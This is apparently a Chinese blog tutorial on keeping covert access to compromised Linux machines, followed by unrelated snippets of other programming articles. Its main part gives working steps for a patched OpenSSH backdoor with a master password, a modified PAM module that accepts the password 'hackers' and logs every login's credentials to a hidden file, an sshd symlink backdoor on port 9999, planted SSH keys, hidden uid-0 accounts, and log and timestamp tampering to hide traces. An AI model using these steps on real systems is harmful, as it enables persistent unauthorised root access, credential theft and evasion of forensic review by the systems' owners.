第144天:内网安全-Linux权限维持OpenSSHPAM后门SSH软链接公私钥登录

目录

案例一: 权限维持-Linux-替换版本-OpenSSH 后门

 案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

公私钥

新帐号


案例一: 权限维持-Linux-替换版本-OpenSSH 后门

原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,
达到记录帐号密码,也可以采用万能密码连接的功能!

 查看当前ssh的版本  ssh  -V

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017 

环境准备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    
yum -y install gcc gcc-c++ make  
yum -y install patch                                 
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

安装依赖

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    yum -y install gcc gcc-c++ make  yum -y install patch 

下载替换版本和后门文件

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

 

解压文件

tar -xzvf openssh-5.9p1.tar.gztar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

安装openssh

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中

也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^

 修改配置万能密码

修改版本,version.h文件

修改与之前版本一致

设置安装目录,编译并且安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

查看当前版本

连接,这种方式感觉不是很稳定哈。

这里连接的时候可能会出bug,尝试下面这篇文章的解决方法

SSH 服务 异常报错“Failed to start OpenSSH Server daemon” 该怎么办???-CSDN博客

有可能还是显示错误,但是可以连接了

利用admin!@#45去链接

修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范

恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志,代码如下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

 案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

pam相当于windows的kerberos

  PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

查询pam版本

rpm -qa | grep pam

下载对应的版本并且解压

wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

安装必要的依赖

yum install gcc flex flex-devel -y

修改pam_unix_auth.c文件

cd Linux-PAM-1.1.1cd modules/pam_unix/vim pam_unix_auth.c

 把179行的文件进行修改

hackers即为新的登录密码,可以进行修改

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

记得要对齐格式

 编译安装

./configure && make

把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcpcd modules/pam_unix/.libscp pam_unix.so /usr/lib64/security/pam_unix.so

利用hackers登录

经过实验,这种方式比第一种稳定一点

更多进阶玩法:Linux Pam后门总结拓展 - 先知社区

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

查看是否支持pam身份验证

cat /etc/ssh/sshd_config|grep UsePAM

建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上firewall-cmd --reload
#重启防火墙服务firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

这个时候连接ssh的9999端口,密码可以随便输入

ssh root@ip -p 9999

但是缺点就是容易被发现,突然多开了一个端口。

公私钥

参考文章:SSH密钥登陆 - 哔哩哔哩

攻击主机生成公钥

ssh-keygen -t rsa #三次回车id_rsa : 私钥id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

如果没有.ssh目录的话需要手工创建

创建文件,把id_rsa.pub中的内容复制过去

如果是自己创建的这两个文件记得修改权限

chmod 600  /root/.ssh/authorized_keyschmod  700 /root/.ssh

 这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证

vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keysPasswordAuthentication no           
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录

然后重启服务

systemctl restart sshd.service

再次连接的时候都不需要验证直接可以连接上

新帐号

两种方式

#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

方法一

 利用test1密码123456连接,成功连接

方法二:

利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420067.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录|C#的软件图标更换

目录 前言一、软件界面的图标二、软件外的图标更新时间 前言 参考文章&#xff1a; 自己开发出的软件&#xff0c;肯定要更换图标&#xff0c;无论是软件打开前还是软件上的。如下图&#xff1a; 一、软件界面的图标 直接在Form的属性中进行icon的更换【如下图&#xff1a;】…

android kotlin 基础复习 继承 inherit

1、新建文件kt 2、代码&#xff1a; /**用户基类**/ open class Person1(name:String){/**次级构造函数**/constructor(name:String,age:Int):this(name){//初始化println("-------基类次级构造函数---------")println("name:${name},age:${age}")} }/**子…

线程的状态(java)

“苦&#xff1f; 何止是苦~~~~~” 本期内容来分享一下线程状态相关的知识哦&#xff01;&#xff01;&#xff01; 对于进程来说&#xff0c;进程是有两种状态的。 一种是就绪状态&#xff1a;正在CPU上执行&#xff0c;或者随时可以去CPU上执行的。 另一种是阻塞状态&…

PDF 全文多语言 AI 摘要 API 数据接口

PDF 全文多语言 AI 摘要 API 数据接口 PDF / 文本摘要 AI 生成 PDF 文档摘要 AI 处理 / 智能摘要。 1. 产品功能 支持多语言摘要生成&#xff1b;支持 formdata 格式 PDF 文件流传参&#xff1b;快速处理大文件&#xff1b;基于 AI 模型&#xff0c;持续迭代优化&#xff1b;…

自己动手实现mybatis的底层框架(不用动态代理直接用执行器、用动态代理自己实现。图文分析!)

目录 一.原生mybits框架图分析 自己实现Mybatis框架的分析 两种框架操作数据库的方法&#xff1a; 二.搭建开发环境 1.先创建一个maven项目 2.加入依赖(mysql dom4j junit lombok) 三.mybatis框架的设计思路 具体实现过程 3.1实现任务阶段 1- 完成读取配置文件&#x…

【Linux修行路】线程安全和死锁

目录 ⛳️推荐 一、线程安全 1.1 常见的线程不安全情况 1.2 常见的线程安全情况 1.3 常见的不可重入情况 1.4 常见可重入的情况 1.5 可重入与线程安全的联系 1.6 可重入与线程安全的区别 二、死锁 2.1 死锁的四个必要条件 2.2 如何避免产生死锁&#xff1f; ⛳️推荐…

西门子PLC与HMI之间的时间同步工控小周

HMI 时间同步功能工控人加入PLC工业自动化精英社群 HMI 设备具有时间同步功能&#xff0c;利用 HMI 设备的该功能&#xff0c;可实现 PLC 和 HMI 之间的时间同步&#xff0c;进而实现多个 PLC 之间的时间同步。 HMI 设备时间同步的属性&#xff1a; 1.HMI 设备既可作为主站对…

Unity Addressables 使用说明(五)在运行时使用 Addressables(Use Addressables at Runtime)

一旦你将 Addressable assets 组织到 groups 并构建到 AssetBundles 中&#xff0c;就需要在运行时加载、实例化和释放它们。 Addressables 使用引用计数系统来确保 assets 只在需要时保留在内存中。 Addressables 初始化 Addressables 系统在运行时第一次加载 Addressable …

PLSQL-将一份excel数据导入到一张物理表(Oracle)

–>> 很简单~ 平时用惯了DBeaver&#xff0c;突然要用PLSQL Developer&#xff0c;确实很生疏。 –>> 我的场景&#xff0c;将一份.csv文件数据手动导入到Oracle下的一张物理表中去。 研究了半天&#xff0c;看网上说的可以用&#xff1a;Tools → ODBC Importer &…

视频监控接入平台web客户端有时无法登录,有时打开实时视频出现黑屏的问题解决

目录 一、背景说明 二、解决过程 1、问题产生 2、命令介绍 ①基本用法 ②常用选项 ③示例 3、问题解决 三、最终结果 一、背景说明 在本地登录视频监控平台的服务器进行测试时&#xff0c;发现客户端登录不上。 检查服务器的服务和数据库&#xff0c;运行状况正常&#xff0c…

opencv 实现两个图片的拼接去重功能

基础知识介绍 cv::Mat 是OpenCV库中用来表示图像和矩阵数据的核心类之一。它是一个多维数组&#xff0c;可以存储图像像素数据、矩阵数据以及其他类型的数据。以下是关于 cv::Mat 类的一些详细解释&#xff1a; 构造函数&#xff1a;cv::Mat 类有多个构造函数&#xff0c;可以用…

【Linux】常用的命令

文章目录 lsls -l / touchcdpwdcatechovim打开文件编辑内容保存退出 mkdirrmmvcpmangreppsnetstat总结 &#xff1a; ls ls > list 列出当前目录下都有哪些内容&#xff08;文件/目录&#xff09; 直接输入 ls&#xff0c;是查看当前目录的情况&#xff1b;输入 ls/ 就是看…

数据结构 --- 二叉树

一、满二叉树 在一棵二叉树中&#xff0c;如果所有分支节点都存在左子树和右子树&#xff0c;并且所有叶子节点都在同一层上&#xff0c;这 样的二叉树称为满二叉树。 每层节点数量为 2 ^ (n - 1) &#xff08;n为层数&#xff09; 总节点个数为 2 ^ n - 1 二、完全…

【Java】基于JWT+Token实现完整登入功能(原理+实操图解)

Java系列文章目录 补充内容 Windows通过SSH连接Linux 第一章 Linux基本命令的学习与Linux历史 文章目录 Java系列文章目录一、前言二、学习内容&#xff1a;三、问题描述四、解决方案&#xff1a;4.1 认识相关依赖4.1.1 工具包依赖4.1.2 非空注解依赖4.1.3 Token相关依赖4.1.4…

【正式版】深度技术Win10系统22H2最新版本:免费下载!

今日&#xff0c;系统之家小编给大家分享2024年最新发布的深度技术Win10正式版系统&#xff0c;该版本系统基于微软官方最新Windows10 22H2 19045.4842 64位专业版进行离线制作&#xff0c;确保安全无病毒&#xff0c;且修复了部分系统Bug&#xff0c;整体操作体验感更出色。系…

6.1排序——插入排序与希尔排序

本篇博客来梳理两种常见排序算法&#xff1a;插入排序与希尔排序 常见的排序算法如图 写排序算法的原则&#xff1a;先写单趟&#xff0c;再写整体 一、直接插入排序 1&#xff0e;算法思想 先假定第一个数据有序&#xff0c;把第二个数据插入&#xff1b;再假设前两个数据…

[【人工智能学习笔记】4_3 深度学习基础之卷积神经网络

卷积神经网络概述 卷积神经网络(Convolutional Neural Network, CNN)一种带有卷积结构的深度神经网络,通过特征提取和分类识别完成对输入数据的判别;在1989年提出,早期被成功用于手写字符图像识别;2012年更深层次的AlexNet网络取得成功,伺候卷积神经网络被广泛应用于各…

uniapp使用uni-popup做底部弹出选项(vue3)

效果图 页面代码 <!-- 发票筛选弹出框 --><uni-popup ref"popupRef" type"bottom" border-radius"10px 10px 0 0" background-color"#fff"><h4 style"text-align: center;margin-bottom: 20px;">发票筛…

node解析dxf文件

1、dxf数据说明 DXF是一种开放的矢量数据格式&#xff0c;可以分为两类&#xff1a;ASCII格式和二进制格式&#xff1b;ASCII具有可读性好的特点&#xff0c;但占用的空间较大&#xff1b;二进制格式则占用的空间小、读取速度快。由于AutoCAD是最流行的CAD系统&#xff0c;DXF也…

uniapp 懒加载、预加载、缓存机制深度解析

uniapp 懒加载、预加载、缓存机制深度解析 文章目录 uniapp 懒加载、预加载、缓存机制深度解析一、为什么要使用uniapp的懒加载、预加载和缓存机制二、如何使用uniapp的懒加载、预加载和缓存机制1. 懒加载2. 预加载3. 缓存机制 四、扩展与高级技巧1. 结合懒加载和预加载优化页面…